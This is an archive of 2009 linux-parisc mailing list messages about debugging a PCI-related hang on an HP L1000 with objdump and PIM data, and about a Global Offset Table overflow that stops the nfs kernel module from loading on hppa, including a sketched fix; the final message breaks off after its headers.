Approved: news@gmane.org
Message-ID: <7d01f9f00907310235hb342840j14b7ccc3bcc01184@mail.gmail.com>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	 <Pine.SOC.4.64.0907302054100.20870@math.ut.ee>
	 <4A724818.4080909@tausq.org>
	 <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249032930 9224 80.91.229.12 (31 Jul 2009 09:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 09:35:30 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 11:35:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWoWI-0004Gv-96
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 11:35:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751003AbZGaJfT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 05:35:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751352AbZGaJfT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 05:35:19 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.27]:45857 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751003AbZGaJfS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 05:35:18 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so534126eyd.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 02:35:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=HoQ0ZmzrXO+DLt4CksM/2S69nmlxi17vmUulxw6CMXo=;
        b=iyGxjDCdSvhSnCa/lZcDAtaUgJtnbdx26ZNhrcog/6tbYoq3bA2PBKFFmu5+qsifz8
         925LakFETVOxeaZc4uD35fD++TGkue9lCrF9ral9tZ19Et3vWfOd6VXcbACuLNR/b+ox
         Zbl5vJcTNQypipyIz2tf7hP5TrqhtGEPJ2c8Y=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=H8Qozrbg/XOqPXbFVltm6ONQpjYt6rVDh2lt2ES1LoAWhH9kT+C45Llf+gfPZtDc/y
         /JeTaWGdAvhSbR2b0tgakK0gOwu7d25Y3WyhH6qL4rTNUj2Ml0mDzzhPnXn+U3JzRrtw
         aAnxQOgIKSm5RtIdZHSUL0Vr5X2EbXqlYGKX8=
Original-Received: by 10.216.73.85 with SMTP id u63mr505564wed.37.1249032917832; Fri, 
	31 Jul 2009 02:35:17 -0700 (PDT)
In-Reply-To: <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
X-Google-Sender-Auth: 3ad37f89ca16155e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1959>

On Fri, Jul 31, 2009 at 8:28 AM, Meelis Roos <mroos@linux.ee> wrote:
>
> > Please see http://www.parisc-linux.org/faq/kernelbug-howto.html
>
> Well, I can not find anything about interpreting SER PIM data there?

Are you sure? There are basic explanations about the info we need. For instance:

"- The r02 register is the "return pointer" - it indicates the calling function
- The IAOQ contents specify the address of the instruction where the
fault occured."

Of course they are undecoded, that's why you need to be able to
objdump the kernel.

> My system is 2-CPU L1000, that I forgot to re-mention as I reported to
> my old report that anyone but me had probably forgotten. Using GSP.
> ALso, I rebooted the hanging computer using 'RS' from GSP, not 'TC' -
> does that garble PIM data?

After HPMC, RS is ok. Remember to always ser clearpim after collecting the info.

> > Anyway, from the output below, I suspect maybe we have some kernel functions
> > that are not in the right section, since the error happens right after
> > "Freeing unused kernel memory"?
>
> No, the real problem is below, this badness on SMP I was told to ignore
> here on this list in spring. The real problem happens after tuli driver
> loading and PCI configuration of the cards. From these, I only have the
> SER PIM data, no kernel backtrace.

PIM will contain relevant (though undecoded) information, so that's
already good to have.

HTH

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 31 Jul 2009 10:46:53 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20090731144654.F3D374CFD@hiauly1.hia.nrc.ca>
References: <7d01f9f00907310235hb342840j14b7ccc3bcc01184@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249051635 31812 80.91.229.12 (31 Jul 2009 14:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 14:47:15 +0000 (UTC)
Cc: mroos@linux.ee, randolph@tausq.org, linux-parisc@vger.kernel.org
To: varenet@parisc-linux.org (Thibaut VARENE)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 16:47:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWtNy-0004Ul-Of
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 16:47:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750863AbZGaOrE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 10:47:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751317AbZGaOrE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 10:47:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2101 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750863AbZGaOrE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 10:47:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F3D374CFD; Fri, 31 Jul 2009 10:46:54 -0400 (EDT)
In-Reply-To: <7d01f9f00907310235hb342840j14b7ccc3bcc01184@mail.gmail.com> from "Thibaut VARENE" at Jul 31, 2009 11:35:17 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1960>

> On Fri, Jul 31, 2009 at 8:28 AM, Meelis Roos <mroos@linux.ee> wrote:
> >
> > > Please see http://www.parisc-linux.org/faq/kernelbug-howto.html
> >
> > Well, I can not find anything about interpreting SER PIM data there?
> 
> Are you sure? There are basic explanations about the info we need. For instance:
> 
> "- The r02 register is the "return pointer" - it indicates the calling function
> - The IAOQ contents specify the address of the instruction where the
> fault occured."
> 
> Of course they are undecoded, that's why you need to be able to
> objdump the kernel.

I tried to download the kernel package, but it's gone from the debian
servers.  So, you will have to run objdump yourself.  Just do

hppa64-linux-gnu-objdump vmlinux-2.6.29-2-parisc64-smp | less

This will allow you to find the instruction where the fault occured.
Comparison of the instructions with the register dump should indicate
the cause of the hpmc.  Also search for the address contained in r02.
That should be the calling function in most cases.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 31 Jul 2009 10:50:15 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20090731145016.76AAE4FB1@hiauly1.hia.nrc.ca>
References: <20090731144654.F3D374CFD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249051857 32503 80.91.229.12 (31 Jul 2009 14:50:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 14:50:57 +0000 (UTC)
Cc: varenet@parisc-linux.org, mroos@linux.ee, randolph@tausq.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 16:50:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWtRX-0006mN-1O
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 16:50:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751665AbZGaOuV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 10:50:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751403AbZGaOuV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 10:50:21 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2109 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751769AbZGaOuU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 10:50:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 76AAE4FB1; Fri, 31 Jul 2009 10:50:15 -0400 (EDT)
In-Reply-To: <20090731144654.F3D374CFD@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 31, 2009 10:46:53 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1961>

> hppa64-linux-gnu-objdump vmlinux-2.6.29-2-parisc64-smp | less

Sorry, this should be:

hppa64-linux-gnu-objdump -d vmlinux-2.6.29-2-parisc64-smp | less

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table 
	overflow
Date: Fri, 31 Jul 2009 14:49:27 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <119aab440907311149j3e17466fy3782b86399142141@mail.gmail.com>
References: <20090731091729.1105.20608.reportbug@aragorn.fjphome.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249066180 12115 80.91.229.12 (31 Jul 2009 18:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 18:49:40 +0000 (UTC)
Cc: Debian Bug Tracking System <submit@bugs.debian.org>
To: Frans Pop <elendil@planet.nl>, 539378@bugs.debian.org,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 20:49:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWxAa-0007lK-Fc
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 20:49:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752856AbZGaSt3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 14:49:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752860AbZGaSt3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 14:49:29 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:61940 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752856AbZGaSt2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 14:49:28 -0400
Original-Received: by ewy10 with SMTP id 10so1725018ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 11:49:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=jSsIx++00gEpr9zGnUXjzNN9abzufwV5ZeydaDrZp6Q=;
        b=OPcgCMb2sXhFU3yGYp01mqMJVcxr2hlJq/6AHsN9DagwlMvYl2WQpS/ZjqUAd4IAfk
         FYQQzZRQprxSHbbMnKK/xRxj0Jk2qmn24cpcuVb/iop9Lhj5VwV0baphDSQtS5PkR9zR
         4MrdD1kzxsoqMWMRQTWxE/CQLPxogoA6kwM1w=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=A6AKErsivWVuUm5oppsgA1X0zZ4k9wFazs31cJiWaLc41s8wkjn18GfoCvzN3l+FEV
         HZo5S+HO7/oSL06MaZOX8G0n3Xy+NZ7x0LmPK1MLXw0EpCTi4m1VWN6z53q1hSGqus3l
         MOk+08p/gahrFgvQeN8hbju+PhqN0003I1Pt0=
Original-Received: by 10.216.52.196 with SMTP id e46mr555369wec.124.1249066167280; Fri, 
	31 Jul 2009 11:49:27 -0700 (PDT)
In-Reply-To: <20090731091729.1105.20608.reportbug@aragorn.fjphome.nl>
X-Google-Sender-Auth: 8a9be6c25626c485
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1962 gmane.linux.debian.ports.hppa:5897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1962>

On Fri, Jul 31, 2009 at 5:17 AM, Frans Pop<elendil@planet.nl> wrote:
> Affects both stable and unstable!
>
> kernel: Linux version 2.6.26-2-parisc64-smp [...]
> kernel: nfs: Global Offset Table overflow (used 1075, allowed 1023)
>
> kernel: Linux version 2.6.30-1-parisc64 [...]
> kernel: nfs: Global Offset Table overflow (used 1164, allowed 1023)
>
> The error comes from arch/parisc/kernel/module.c.
> Looks like it is a known issue:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/054826.html

CC'ing parisc-linux since this is a kernel issue.

Helge,

Did you ever work around the GOT limitations?

To give you a bit of background, position independent code (a module)
can't have any virtual addresses (they aren't known), therefore when
you need to compute the address of an object you do so using the
global offset table. After relocation processing the GOT allows you to
translate an object by name to a virtual address e.g. If you take the
address of a function, then relocations would cause a GOT entry to be
filled such that this entry contains the virtual address of the
function. The GOT stubs are pieces of code that load virtual addresses
from the GOT and call them. We use GOT stubs to call functions which
are not local to the module.

Only 32-bit targets have the 14-bit signed immediate offset (0x3fff),
which becomes a 13-bit limit when loading positive offsets e.g.
+0x1fff or 1023 GOT slots.

However, on 64-bit the long format of ldd has a 16-bit signed
immediate offset (0xffff), meaning it can reach +0x7fff e.g. 4095 GOT
slots.

Do you have the time to test something out?

* Make this conditional on 32-bit vs. 64-bit and allow for 4095 GOT
entries on 64-bit.
* Fix ELF_GOT_STUB for the 64-bit case. It needs to reassemble a
16-bit offset, the current code is IMO incorrect. i.e. it should be "&
0x7fff", and use a new reassemble_16 see the PA 2.0 book definition of
ldd.
* Build kernel.
* Test loading NFS moudle.

That should be it :-)

> I tried unloading other modules, but that made no difference
> ("used" value remained unchanged).

Unloading modules won't help, it's one GOT per module.

> Does this mean that using nfs on hppa is not possible at all?

No, I use nfs on my hppa system.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Global Offset Table overflow loading module
Date: Fri, 31 Jul 2009 14:55:09 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <119aab440907311155p5a054f24jb2f567f7fba09906@mail.gmail.com>
References: <20090731180005.GA26538@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249066527 13142 80.91.229.12 (31 Jul 2009 18:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 18:55:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@debian.org>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 20:55:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWxG9-00022j-3O
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 20:55:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751095AbZGaSzL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 14:55:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752859AbZGaSzL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 14:55:11 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:33559 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751095AbZGaSzK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 14:55:10 -0400
Original-Received: by ewy10 with SMTP id 10so1728610ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 31 Jul 2009 11:55:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=qQJeu4Nni7KalRcTIyYJPSKLaXhTjmKrTV8l0vX/x5s=;
        b=yFkJenHDIzJR3wsOimsYH00Ir40si7mrNY8slhakoI9lmKkb0HSjmZIdQjCWZlImk1
         wGUiefbZhdikOQTpKN9Cby+orxC8+7jw6nnvhF3bjk2HuDbWl+fif2CEnX1UvFU+mB6k
         OCYLjY44ZfD4XMbWE6r7tGJFtqEyXbEYbXDB0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=lua+QucZ9YhTBtj5EQuFgK7e/8kR1sTGz5xd/VFAf2ttlsdbdZB/j+2ZhpF+gUwpjH
         KGZ2cgKyod3BMUnH/AnbXbzOBtg6zI+RJvZ9pHnVtKi+91qbHJg0Ya8rycs6tjMnzGgY
         oTnCUHY0w6K2N3sBo8UD4JuPNVl9Ds1yw2XxE=
Original-Received: by 10.216.19.198 with SMTP id n48mr581312wen.41.1249066509589; Fri, 
	31 Jul 2009 11:55:09 -0700 (PDT)
In-Reply-To: <20090731180005.GA26538@lackof.org>
X-Google-Sender-Auth: c4a08276c795586f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1964 gmane.linux.debian.ports.hppa:5899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1964>

On Fri, Jul 31, 2009 at 2:00 PM, dann frazier<dannf@debian.org> wrote:
> fyi: http://bugs.debian.org/539378

Thanks Dann. I've written up a response along with sketch of a
solution. My free time is pretty swamped with porter work and glibc
testing, so I was hoping one of the kernel hackers could implement my
suggestion.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 15:03:03 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20090731190304.C7BF55161@hiauly1.hia.nrc.ca>
References: <119aab440907311149j3e17466fy3782b86399142141@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249067007 14630 80.91.229.12 (31 Jul 2009 19:03:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 19:03:27 +0000 (UTC)
Cc: elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, deller@gmx.de,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 21:03:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWxNn-0005U1-4l
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 21:03:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752004AbZGaTDI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 15:03:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752491AbZGaTDI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 15:03:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2129 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752004AbZGaTDH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 15:03:07 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C7BF55161; Fri, 31 Jul 2009 15:03:04 -0400 (EDT)
In-Reply-To: <119aab440907311149j3e17466fy3782b86399142141@mail.gmail.com> from "Carlos O'Donell" at Jul 31, 2009 02:49:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1965 gmane.linux.debian.ports.hppa:5901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1965>

> On Fri, Jul 31, 2009 at 5:17 AM, Frans Pop<elendil@planet.nl> wrote:
> > Affects both stable and unstable!
> >
> > kernel: Linux version 2.6.26-2-parisc64-smp [...]
> > kernel: nfs: Global Offset Table overflow (used 1075, allowed 1023)
> >
> > kernel: Linux version 2.6.30-1-parisc64 [...]
> > kernel: nfs: Global Offset Table overflow (used 1164, allowed 1023)
> >
> > The error comes from arch/parisc/kernel/module.c.
> > Looks like it is a known issue:
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/054826.html

I've seen the same problem.  Sent a message to the parisc-linux list
about this recently.

> Only 32-bit targets have the 14-bit signed immediate offset (0x3fff),
> which becomes a 13-bit limit when loading positive offsets e.g.
> +0x1fff or 1023 GOT slots.

Can't we offset the table and double the number of entries?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
 	overflow
Date: Fri, 31 Jul 2009 23:08:35 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <4A735D53.6060803@gmx.de>
References: <20090731091729.1105.20608.reportbug@aragorn.fjphome.nl> <119aab440907311149j3e17466fy3782b86399142141@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249074532 3310 80.91.229.12 (31 Jul 2009 21:08:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 21:08:52 +0000 (UTC)
Cc: Frans Pop <elendil@planet.nl>, 539378@bugs.debian.org,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Randolph Chung <randolph@tausq.org>,
	Debian Bug Tracking System <submit@bugs.debian.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 23:08:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWzLF-00049w-9t
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 23:08:41 +0200
